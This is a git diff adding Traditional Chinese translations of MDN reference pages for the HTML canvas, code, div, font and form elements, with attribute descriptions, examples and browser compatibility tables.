+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("2.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>menu</code> value for <code>type</code> attribute</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Gecko does not implement this feature yet. See {{bug("1241353")}}.</p>
+
+<h2 id="See_also">See also</h2>
+
+<p>Other elements that are used for creating forms: {{HTMLElement("form")}}, {{HTMLElement("datalist")}}, {{HTMLElement("fieldset")}}, {{HTMLElement("input")}},{{HTMLElement("keygen")}}, {{HTMLElement("label")}}, {{HTMLElement("legend")}}, {{HTMLElement("meter")}}, {{HTMLElement("optgroup")}}, {{HTMLElement("option")}}, {{HTMLElement("output")}}, {{HTMLElement("progress")}}, {{HTMLElement("select")}}, {{HTMLElement("textarea")}}.</p>
+
+<div>{{HTMLRef}}</div>
diff --git a/files/zh-tw/web/html/element/canvas/index.html b/files/zh-tw/web/html/element/canvas/index.html
new file mode 100644
index 0000000000..9bcf297f8c
--- /dev/null
+++ b/files/zh-tw/web/html/element/canvas/index.html
@@ -0,0 +1,193 @@
+---
+title: <canvas>
+slug: Web/HTML/Element/canvas
+translation_of: Web/HTML/Element/canvas
+---
+<p>這個 <strong>HTML <code>&lt;canvas&gt;</code> 元素</strong> 可以被使用於對腳本程式(JaveScript) 繪圖 .舉例來說, 它能用來畫圖,組合照片,甚至作動畫. 你也許(應該) 在&lt;canvas&gt;區段內提供替代方案的內容 .這內容將能被一些不支援&lt;canvas&gt;以及無法使用Javescript功能的瀏覽器所渲染 .</p>
+
+<p>更多文章關於canvas, 請參考 <a href="/en-US/docs/Web/API/Canvas_API">canvas 主題</a></p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="/en-US/docs/HTML/Content_categories">Content 分類</a></th>
+   <td><a href="/en-US/docs/HTML/Content_categories#Flow_content">流程式content</a>, <a href="/en-US/docs/HTML/Content_categories#Phrasing_content">段落式content</a>, <a href="https://developer.mozilla.org/en-US/docs/HTML/Content_categories#Embedded_content">強調式content</a>, 可見式 content.</td>
+  </tr>
+  <tr>
+   <th scope="row">
+    <p>被允許通過的內容</p>
+   </th>
+   <td>
+    <p>除了子元素不是 &lt;a&gt;的元素、 &lt;button&gt;的元素、&lt;input&gt;的元素屬性是<code>checkbox</code>, <code>radio</code>, 或 <code>button</code> 之外且是透明內容模型但不是<a href="/en-US/docs/HTML/Content_categories#Interactive_content">互動式content</a></p>
+   </td>
+  </tr>
+  <tr>
+   <th scope="row">Tag 省略</th>
+   <td>不能省略標籤&lt;canvas&gt; &lt;/canvas&gt;</td>
+  </tr>
+  <tr>
+   <th scope="row">被允許通過的父親元素</th>
+   <td>
+    <p>任何<a href="/en-US/docs/HTML/Content_categories#Phrasing_content">強調式content</a>的元素皆可通過</p>
+   </td>
+  </tr>
+  <tr>
+   <th scope="row">DOM 介面</th>
+   <td>HTMLCanvasElement</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="屬性">屬性</h2>
+
+<p>這個元素的屬性包含全域屬性</p>
+
+<dl>
+ <dt>{{htmlattrdef("height")}}</dt>
+ <dd>在CSS 中以 pixels 表示 座標的空間<strong>高度</strong>（預設是150）</dd>
+ <dt>{{htmlattrdef("moz-opaque")}} {{non-standard_inline}}</dt>
+ <dd>讓canvas知道這個因素是否為半透明的。如果 canvas 知道不是半透明，則提高繪畫的效能</dd>
+ <dt>{{htmlattrdef("width")}}</dt>
+ <dd>在CSS 中以 pixels 表示 座標的空間<strong>寬度</strong>（預設是300）</dd>
+</dl>
+
+<h2 id="描述">描述</h2>
+
+<h3 id="需要_&lt;canvas>_結尾">需要 <code>&lt;/canvas&gt;</code> 結尾</h3>
+
+<p>與&lt;img&gt;不同之處,<code>&lt;canvas&gt;</code>需要<code>&lt;/canvas&gt;</code> 結尾</p>
+
+<h3 id="canvas的大小設置">canvas的大小設置</h3>
+
+<p>canvas的大小設置可透過樣式表（stylesheet）被改變。可經由樣式修改圖像的縮放大小。</p>
+
+<p>若呈現的效果圖似乎是扭曲變形的，可試著先修改<code>&lt;canvas&gt;</code>標籤中的<code>width</code>和<code>height</code>的屬性，而<strong>不建議</strong>使用css去控制。</p>
+
+<h2 id="範例">範例</h2>
+
+<p>將下面這條範例加到你的HTML文件。如果你的瀏覽器並不支援canvas 或不能讀取canvas 時，則會回報canvas中的訊息。若想知道更多有用的回應訊息或替代DOM的註文，可以<a href="/en-US/docs/Web/API/Canvas_API/Tutorial/Hit_regions_and_accessibility">參考更多相似的註文</a>。</p>
+
+<pre class="brush: html">&lt;canvas id="canvas" width="300" height="300"&gt;
+  抱歉，你的瀏覽器並不支援&lt;canvas&gt;元素
+&lt;/canvas&gt;
+</pre>
+
+<p>如果你的canvas沒有使用透明度，可在&lt;canvas&gt;標籤設立<code>moz-opaque</code>屬性，提升它的繪圖效果。<code>moz-opaque</code> 尚未標準化，所以只適用在 Mozilla 的 效能引擎。</p>
+
+<pre class="brush: html">&lt;canvas id="mycanvas" moz-opaque&gt;&lt;/canvas&gt;</pre>
+
+<h2 id="規範">規範</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">規格</th>
+   <th scope="col">狀態</th>
+   <th scope="col">註解</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'the-canvas-element.html#the-canvas-element', '&lt;canvas&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'the-canvas-element.html#the-canvas-element', '&lt;canvas&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>原始的定義</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>1.0</td>
+   <td>{{CompatGeckoDesktop("1.8")}}<sup>[1]</sup><br>
+    {{CompatGeckoDesktop("6.0")}}<sup>[2]</sup><br>
+    {{CompatGeckoDesktop("12.0")}}<sup>[3]</sup></td>
+   <td>9.0</td>
+   <td>9.0<sup>[4]</sup></td>
+   <td>2.0<sup>[5]</sup></td>
+  </tr>
+  <tr>
+   <td><code>moz-opaque</code></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoDesktop("1.9.1")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Android</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatGeckoDesktop("1.8")}}<sup>[1]</sup><br>
+    {{CompatGeckoDesktop("6.0")}}<sup>[2]</sup><br>
+    {{CompatGeckoDesktop("12.0")}}<sup>[3]</sup></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>1.0</td>
+  </tr>
+  <tr>
+   <td><code>moz-opaque</code></td>
+   <td>{{CompatGeckoMobile("1.9.1")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Before Gecko 5.0 {{geckoRelease("5.0")}}, the canvas width and height were signed integers instead of unsigned integers.</p>
+
+<p>[2] Prior to Gecko 6.0 {{geckoRelease("6.0")}}, a {{HTMLElement("canvas")}} element with a zero width or height would be rendered as if it had default dimensions.</p>
+
+<p>[3] Before Gecko 12.0 {{geckoRelease("12.0")}}, if JavaScript is disabled, the <code>&lt;canvas&gt;</code> element was being rendered instead of showing the fallback content as per the <a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/the-canvas-element.html">specification</a>. Now the fallback content is rendered instead.</p>
+
+<p>[4] See the <a href="http://www.opera.com/docs/changelogs/windows/900/">changelog for Opera 9.0</a>.</p>
+
+<p>[5] Although early versions of Apple's Safari browser don't require the closing tag, the specification indicates that it is required, so you should be sure to include it for broadest compatibility. Those versions of Safari (prior to version 2.0) will render the content of the fallback in addition to the canvas itself unless you use CSS tricks to mask it. Fortunately, users of these versions of Safari are rare nowadays.</p>
+
+<h2 id="延伸閱讀">延伸閱讀</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Canvas_API">MDN canvas portal</a></li>
+ <li><a href="/en-US/docs/Web/API/Canvas_API/Tutorial">Canvas tutorial</a></li>
+ <li><a href="https://simon.html5.org/dump/html5-canvas-cheat-sheet.html">Canvas cheat sheet</a></li>
+ <li><a href="/en-US/demos/tag/tech:canvas">Canvas-related demos</a></li>
+ <li><a href="https://developer.apple.com/library/safari/documentation/AudioVideo/Conceptual/HTML-canvas-guide/Introduction/Introduction.html">Canvas introduction by Apple</a></li>
+</ul>
+
+<div>{{HTMLRef}}</div>
diff --git a/files/zh-tw/web/html/element/code/index.html b/files/zh-tw/web/html/element/code/index.html
new file mode 100644
index 0000000000..d32ed8c474
--- /dev/null
+++ b/files/zh-tw/web/html/element/code/index.html
@@ -0,0 +1,138 @@
+---
+title: <code>
+slug: Web/HTML/Element/code
+translation_of: Web/HTML/Element/code
+---
+<p id="Summary"><em>HTML Code 元素</em>（<strong>&lt;code&gt;</strong>）表現出電腦程式碼的片段。通常，它會由瀏覽器預設的 monospace 字體顯示出來。</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="/zh-TW/docs/HTML/Content_categories" title="HTML/Content_categories">內容分類</a></th>
+   <td><a href="/zh-TW/docs/HTML/Content_categories#Flow_content" title="HTML/Content categories#Flow content">流內容</a>、<a href="/zh-TW/docs/HTML/Content_categories#Phrasing_content" title="HTML/Content categories#Phrasing content">段落式内容</a>、捫及內容</td>
+  </tr>
+  <tr>
+   <th scope="row">允許內容</th>
+   <td><a href="/zh-TW/docs/HTML/Content_categories#Phrasing_content" title="HTML/Content_categories#Phrasing_content">段落式内容</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">標籤省略</th>
+   <td>{{no_tag_omission}}</td>
+  </tr>
+  <tr>
+   <th scope="row">允許父元素</th>
+   <td>任何允許<a href="/en-US/docs/HTML/Content_categories#Phrasing_content" title="HTML/Content_categories#Phrasing_content">段落式内容</a>的元素。</td>
+  </tr>
+  <tr>
+   <th scope="row">DOM 介面</th>
+   <td>{{domxref("HTMLElement")}}。Gecko 1.9.2 (Firefox 4) 以前，Firefox 針對這個元素使用 {{domxref("HTMLSpanElement")}} 介面實做。</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="屬性">屬性</h2>
+
+<p>這個元素只支援<a href="/zh-TW/docs/HTML/Global_attributes" rel="internal">全域屬性</a>。</p>
+
+<h2 id="例子">例子</h2>
+
+<pre class="brush: html">&lt;p&gt; Regular text. &lt;code&gt; This is code. &lt;/code&gt; Regular text. &lt;/p&gt;
+</pre>
+
+<h3 id="Result" name="Result">結果</h3>
+
+<p>Regular text. <code>This is code.</code> Regular text.</p>
+
+<h2 id="註記">註記</h2>
+
+<p>CSS 的 <code>code</code> 選擇器設定可以透過蓋過瀏覽器預設，而用戶個人設定可以蓋過 CSS 設定。</p>
+
+<h2 id="Specifications" name="Specifications">規範</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">規範</th>
+   <th scope="col">狀態</th>
+   <th scope="col">註解</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'text-level-semantics.html#the-code-element', '&lt;code&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'text-level-semantics.html#the-code-element', '&lt;code&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML4.01', 'struct/text.html#h-9.2.1', '&lt;code&gt;')}}</td>
+   <td>{{Spec2('HTML4.01')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">瀏覽器相容性</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>特徵</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>基本支援</td>
+   <td>1.0</td>
+   <td>{{CompatGeckoDesktop("1.0")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>特徵</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>基本支援</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("1.0")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also" name="See_also">See also</h2>
+
+<ul>
+ <li>{{HTMLElement("samp")}}</li>
+ <li>{{HTMLElement("kbd")}}</li>
+ <li>{{HTMLElement("command")}} (deprecated)</li>
+ <li>{{HTMLElement("var")}}</li>
+</ul>
+
+<div>{{HTMLRef}}</div>
diff --git a/files/zh-tw/web/html/element/div/index.html b/files/zh-tw/web/html/element/div/index.html
new file mode 100644
index 0000000000..87763ae146
--- /dev/null
+++ b/files/zh-tw/web/html/element/div/index.html
@@ -0,0 +1,95 @@
+---
+title: <div>
+slug: Web/HTML/Element/div
+translation_of: Web/HTML/Element/div
+---
+<p>{{HTMLRef}}</p>
+
+<p><strong>HTML <code>&lt;div&gt;</code> 元素</strong>（或是<em> HTML 文件區塊元素</em>）是本質上不特別代表任何東西的通用内容流容器。它可以成為樣式化用途（使用 <strong>class</strong> 或 <strong>id</strong> 屬性）、或是共享如 <strong>lang</strong> 同一個屬性的元素集合。它應該在沒有其他適合的語義元素（例如{{HTMLElement("article")}} 或 {{HTMLElement("nav")}} ）可用時才用。</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="/zh-TW/docs/Web/HTML/Content_categories" title="HTML/Content_categories">內容類型</a></th>
+   <td><a href="/zh-TW/docs/Web/HTML/Content_categories#Flow_content">流內容</a>、捫及內容。</td>
+  </tr>
+  <tr>
+   <th scope="row">允許內容</th>
+   <td><a href="/zh-TW/docs/Web/HTML/Content_categories#Flow_content">流內容</a></td>
+  </tr>
+  <tr>
+   <th scope="row">Tag 省略</th>
+   <td>{{no_tag_omission}}</td>
+  </tr>
+  <tr>
+   <th scope="row">允許父元素</th>
+   <td>任何允許<a href="/zh-TW/docs/Web/HTML/Content_categories#Flow_content">內容流</a>的元素。</td>
+  </tr>
+  <tr>
+   <th scope="row">DOM 介面</th>
+   <td>{{domxref("HTMLDivElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Attributes" name="Attributes">屬性</h2>
+
+<p>這個元素包含<a href="/zh-TW/docs/Web/HTML/Global_attributes">全域屬性</a>。</p>
+
+<p><strong>align</strong> 元素已過時，不要使用它。</p>
+
+<h2 id="Examples" name="Examples">範例</h2>
+
+<pre class="brush: html">&lt;div&gt;
+  &lt;p&gt;這裡可以是任何內容，例如 &amp;lt;p&amp;gt;、&amp;lt;table&amp;gt;。你說了算！&lt;/p&gt;
+&lt;/div&gt;
+</pre>
+
+<h3 id="Result" name="Result">結果</h3>
+
+<p>這裡可以是任何內容，例如 &lt;p&gt;、&lt;table&gt;。你說了算！</p>
+
+<h2 id="Specifications" name="Specifications">規範</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">規範</th>
+   <th scope="col">狀態</th>
+   <th scope="col">註解</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'grouping-content.html#the-div-element', '&lt;div&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>最新的快照以後並無改變</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'grouping-content.html#the-div-element', '&lt;div&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>廢棄 <strong>align</strong></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML4.01', 'struct/global.html#h-7.5.4', '&lt;div&gt;')}}</td>
+   <td>{{Spec2('HTML4.01')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">瀏覽器相容性</h2>
+
+<div class="hidden">此表格是從資料庫中自動生成的，如果您想對這份表格做出貢獻，請詳閱<a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</div>
+
+
+<div>{{Compat("html.elements.div")}}</div>
+
+
+
+<h2 id="See_also" name="See_also">詳閱</h2>
+
+<ul>
+ <li>語義化的切片元素：{{HTMLElement("section")}}, {{HTMLElement("article")}}, {{HTMLElement("nav")}}, {{HTMLElement("header")}}, {{HTMLElement("footer")}}</li>
+ <li>針對段落式內容樣式化的 {{HTMLElement("span")}} 元素</li>
+</ul>
diff --git a/files/zh-tw/web/html/element/font/index.html b/files/zh-tw/web/html/element/font/index.html
new file mode 100644
index 0000000000..d8a988588c
--- /dev/null
+++ b/files/zh-tw/web/html/element/font/index.html
@@ -0,0 +1,45 @@
+---
+title: <font>
+slug: Web/HTML/Element/font
+translation_of: Web/HTML/Element/font
+---
+<div>{{obsolete_header}}</div>
+
+<h2 id="概要">概要</h2>
+
+<p><em>HTML Font 元素</em>（<code>&lt;font&gt;</code>）定義了該內容的字體大小、顏色與表現。</p>
+
+<div class="note">
+<p><em>注意：</em></p>
+
+<p><strong>不要使用這個元素！</strong>儘管它在 HTML 3.2 規範化，但在 HTML 4.01，因為該元件只有裝飾用途的理由而遭棄用，接著在 HTML5 廢棄。</p>
+
+<p>從 HTML 4 開始，HTML 不能在 {{HTMLElement("style")}} 元素，或各元素 <strong>style</strong> 屬性以外，表現任何樣式資訊。今後的網頁開發，樣式化要用 <a href="/zh-TW/docs/CSS" title="CSS">CSS</a>。</p>
+
+<p>{{HTMLElement("font")}} 元素的行為，能透過 <a href="/zh-TW/docs/CSS" title="CSS">CSS</a> 屬性實現，也更好控制。</p>
+</div>
+
+<h2 id="屬性">屬性</h2>
+
+<p>如同其他 HTML 元素，這個元素支援<a href="/en-US/docs/HTML/Global_attributes" title="HTML/Global attributes">全域屬性</a>。</p>
+
+<dl>
+ <dt>{{htmlattrdef("color")}}</dt>
+ <dd>這個屬性可以藉由顏色名字或是十六進位的 #RRGGBB 格式，來配置文字的顏色。</dd>
+ <dt>{{htmlattrdef("face")}}</dt>
+ <dd>這個屬性列出了一個或多個逗號分隔的字體名稱。 The document text in the default style is rendered in the first font face that the client's browser supports. 如果在用戶端的系統並沒有安裝這個字體，瀏覽器會在該系統使用預設的 proportional 或是 fixed-width 字體。</dd>
+ <dt>{{htmlattrdef("size")}}</dt>
+ <dd>這個屬性藉由數字或相對值指定文字大小。數字是由最小的 <code>1</code> 到最大的 <code>7</code> 之間，且預設為 <code>3</code> 的數值表示。也可以用諸如 <code>+2</code> 或 <code>-3</code> 的相對值指定, which set it relative to the value of the {{htmlattrxref("size", "basefont")}} attribute of the {{HTMLElement("basefont")}} element, or relative to <span style="font-family: courier new;">3</span>, the default value, if none does exist.</dd>
+</dl>
+
+<h2 id="DOM_介面">DOM 介面</h2>
+
+<p>這個元素 implements {{domxref("HTMLFontElement")}} 介面。</p>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+
+
+<p>{{Compat("html.elements.font")}}</p>
+
+<div>{{HTMLRef}}</div>
diff --git a/files/zh-tw/web/html/element/form/index.html b/files/zh-tw/web/html/element/form/index.html
new file mode 100644
index 0000000000..07a2e91254
--- /dev/null
+++ b/files/zh-tw/web/html/element/form/index.html
@@ -0,0 +1,191 @@
+---
+title: <form>
+slug: Web/HTML/Element/form
+translation_of: Web/HTML/Element/form
+---
+<div>{{HTMLRef}}</div>
+
+<p>HTML <strong><code>&lt;form&gt;</code></strong> 元素表示提交訊息的區塊，此區塊含有許多可互動的控制項。</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/form.html", "tabbed-standard")}}</div>
+
+<div class="hidden">The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples </a> and send us a pull request.</div>
+
+<p>It is possible to use the {{cssxref(':valid')}} and {{cssxref(':invalid')}} CSS <a href="/en-US/docs/Web/CSS/Pseudo-classes">pseudo-classes</a> to style a <code>&lt;form&gt;</code> element based on whether or not the {{domxref("HTMLFormElement.elements", "elements")}} inside the form are valid.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="/en-US/docs/Web/Guide/HTML/Content_categories">Content categories</a></th>
+   <td><a href="/en-US/docs/Web/Guide/HTML/Content_categories#Flow_content">Flow content</a>, <a href="/en-US/docs/Web/Guide/HTML/Content_categories#Palpable_content">palpable content</a></td>
+  </tr>
+  <tr>
+   <th scope="row">Permitted content</th>
+   <td><a href="/en-US/docs/Web/Guide/HTML/Content_categories#Flow_content">Flow content</a>, but not containing <code>&lt;form&gt;</code> elements</td>
+  </tr>
+  <tr>
+   <th scope="row">Tag omission</th>
+   <td>{{no_tag_omission}}</td>
+  </tr>
+  <tr>
+   <th scope="row">Permitted parents</th>
+   <td>Any element that accepts <a href="/en-US/docs/Web/Guide/HTML/Content_categories#Flow_content">flow content</a></td>
+  </tr>
+  <tr>
+   <th scope="row">Implicit ARIA role</th>
+   <td><code><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/Form_Role">form</a></code> if the form has an <a href="https://www.w3.org/TR/accname-1.1/#dfn-accessible-name">accessible name</a>, otherwise <a href="https://www.w3.org/TR/html-aria/#dfn-no-corresponding-role">no corresponding role</a></td>
+  </tr>
+  <tr>
+   <th scope="row">Permitted ARIA roles</th>
+   <td><code><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/Search_role">search</a></code>, {{ARIARole("none")}} or {{ARIARole("presentation")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">DOM interface</th>
+   <td>{{domxref("HTMLFormElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Attributes">Attributes</h2>
+
+<p>This element includes the <a href="/en-US/docs/Web/HTML/Global_attributes">global attributes</a>.</p>
+
+<dl>
+ <dt>{{htmlattrdef("accept")}} {{obsolete_inline}}</dt>
+ <dd>Comma-separated <a href="/en-US/docs/Web/SVG/Content_type">content types</a> the server accepts.
+ <div class="note"><strong>This attribute was removed in HTML5 and should not be used.</strong> Instead, use the {{htmlattrxref("accept", "input")}} attribute on <code>&lt;input type=file&gt;</code> elements.</div>
+ </dd>
+ <dt>{{htmlattrdef("accept-charset")}}</dt>
+ <dd>Space-separated <a href="/en-US/docs/Web/Guide/Localizations_and_character_encodings">character encodings</a> the server accepts. The browser uses them in the order in which they are listed. The default value means <a href="/en-US/docs/Web/HTTP/Headers/Content-Encoding">the same encoding as the page</a>.<br>
+ (In previous versions of HTML, character encodings could also be delimited by commas.)</dd>
+ <dt>{{htmlattrdef("action")}}</dt>
+ <dd>The URL that processes the form submission. This value can be overridden by a {{htmlattrxref("formaction", "button")}} attribute on a {{HTMLElement("button")}}, <code><a href="/en-US/docs/Web/HTML/Element/input/submit">&lt;input type="submit"&gt;</a></code>, or <code><a href="/en-US/docs/Web/HTML/Element/input/image">&lt;input type="image"&gt;</a></code> element.</dd>
+ <dt>{{htmlattrdef("autocapitalize")}} {{non-standard_inline}}</dt>
+ <dd>A nonstandard attribute used by iOS Safari that controls how textual form elements should be automatically capitalized. <code>autocapitalize</code> attributes on a form elements override it on <code>&lt;form&gt;</code>. Possible values:
+ <ul>
+  <li><code>none</code>: No automatic capitalization.</li>
+  <li><code>sentences</code> (default): Capitalize the first letter of each sentence.</li>
+  <li><code>words</code>: Capitalize the first letter of each word.</li>
+  <li><code>characters</code>: Capitalize all characters — that is, uppercase.</li>
+ </ul>
+ </dd>
+ <dt>{{htmlattrdef("autocomplete")}}</dt>
+ <dd>Indicates whether input elements can by default have their values automatically completed by the browser. <code>autocomplete</code> attributes on form elements override it on <code>&lt;form&gt;</code>. Possible values:
+ <ul>
+  <li><code>off</code>: The browser may not automatically complete entries. (Browsers tend to ignore this for suspected login forms; see <a href="/en-US/docs/Web/Security/Securing_your_site/Turning_off_form_autocompletion#The_autocomplete_attribute_and_login_fields">The autocomplete attribute and login fields</a>.)</li>
+  <li><code>on</code>: The browser may automatically complete entries.<span style="display: none;"> </span></li>
+ </ul>
+ </dd>
+ <dt>{{htmlattrdef("enctype")}}</dt>
+ <dd>If the value of the <code>method</code> attribute is <code>post</code>, <code>enctype</code> is the <a href="https://en.wikipedia.org/wiki/Mime_type">MIME type</a> of the form submission. Possible values:
+ <ul>
+  <li><code>application/x-www-form-urlencoded</code>: The default value.</li>
+  <li><code>multipart/form-data</code>: Use this if the form contains {{HTMLElement("input")}} elements with <code>type=file</code>.</li>
+  <li><code>text/plain</code>: Introduced by HTML5 for debugging purposes.</li>
+ </ul>
+
+ <p>This value can be overridden by {{htmlattrxref("formenctype", "button")}} attributes on {{HTMLElement("button")}}, <code><a href="/en-US/docs/Web/HTML/Element/input/submit">&lt;input type="submit"&gt;</a></code>, or <code><a href="/en-US/docs/Web/HTML/Element/input/image">&lt;input type="image"&gt;</a></code> elements.</p>
+ </dd>
+ <dt>{{htmlattrdef("method")}}</dt>
+ <dd>The <a href="/en-US/docs/Web/HTTP">HTTP</a> method to submit the form with. Possible values:
+ <ul>
+  <li><code>post</code>: The <a href="https://www.w3.org/Protocols/rfc2616/rfc2616-sec9.html#sec9.5">POST method</a>; form data sent as the <a href="/en-US/docs/Web/API/Body">request body</a>.</li>
+  <li><code>get</code>: The <a href="https://www.w3.org/Protocols/rfc2616/rfc2616-sec9.html#sec9.3">GET method</a>; form data appended to the <code>action</code> URL with a <code>?</code> separator. Use this method when the form <a href="/en-US/docs/Glossary/Idempotent">has no side-effects</a>.</li>
+  <li><code>dialog</code>: When the form is inside a {{HTMLElement("dialog")}}, closes the dialog on submission.</li>
+ </ul>
+
+ <p>This value is overridden by {{htmlattrxref("formmethod", "button")}} attributes on {{HTMLElement("button")}}, <code><a href="/en-US/docs/Web/HTML/Element/input/submit">&lt;input type="submit"&gt;</a></code>, or <code><a href="/en-US/docs/Web/HTML/Element/input/image">&lt;input type="image"&gt; </a></code>elements.</p>
+ </dd>
+ <dt>{{htmlattrdef("name")}} {{deprecated_inline}}</dt>
+ <dd>The name of the form. Deprecated as of HTML 4 (use <code>id</code> instead). It must be unique among the forms in a document and not an empty string as of HTML5.</dd>
+ <dt>{{htmlattrdef("novalidate")}}</dt>
+ <dd>This Boolean attribute indicates that the form shouldn't be validated when submitted. If this attribute is not set (and therefore the form <em><strong>is</strong></em> validated), it can be overridden by a {{htmlattrxref("formnovalidate", "button")}} attribute on a {{HTMLElement("button")}}, <code><a href="/en-US/docs/Web/HTML/Element/input/submit">&lt;input type="submit"&gt;</a></code>, or <code><a href="/en-US/docs/Web/HTML/Element/input/image">&lt;input type="image"&gt;</a></code> element belonging to the form.</dd>
+ <dt>{{htmlattrdef("rel")}}</dt>
+ <dd>Creates a hyperlink or annotation depending on the value, see the <a href="/docs/Web/HTML/Attributes/rel">{{htmlattrdef("rel")}}</a> attribute for details.</dd>
+ <dt>{{htmlattrdef("target")}}</dt>
+ <dd>Indicates where to display the response after submitting the form. In HTML 4, this is the name/keyword for a frame. In HTML5, it is a name/keyword for a <em>browsing context</em> (for example, tab, window, or iframe). The following keywords have special meanings:
+ <ul>
+  <li><code>_self</code> (default): Load into the same browsing context as the current one.</li>
+  <li><code>_blank</code>: Load into a new unnamed browsing context.</li>
+  <li><code>_parent</code>: Load into the parent browsing context of the current one. If no parent, behaves the same as <code>_self</code>.</li>
+  <li><code>_top</code>: Load into the top-level browsing context (i.e., the browsing context that is an ancestor of the current one and has no parent). If no parent, behaves the same as <code>_self</code>.</li>
+ </ul>
+
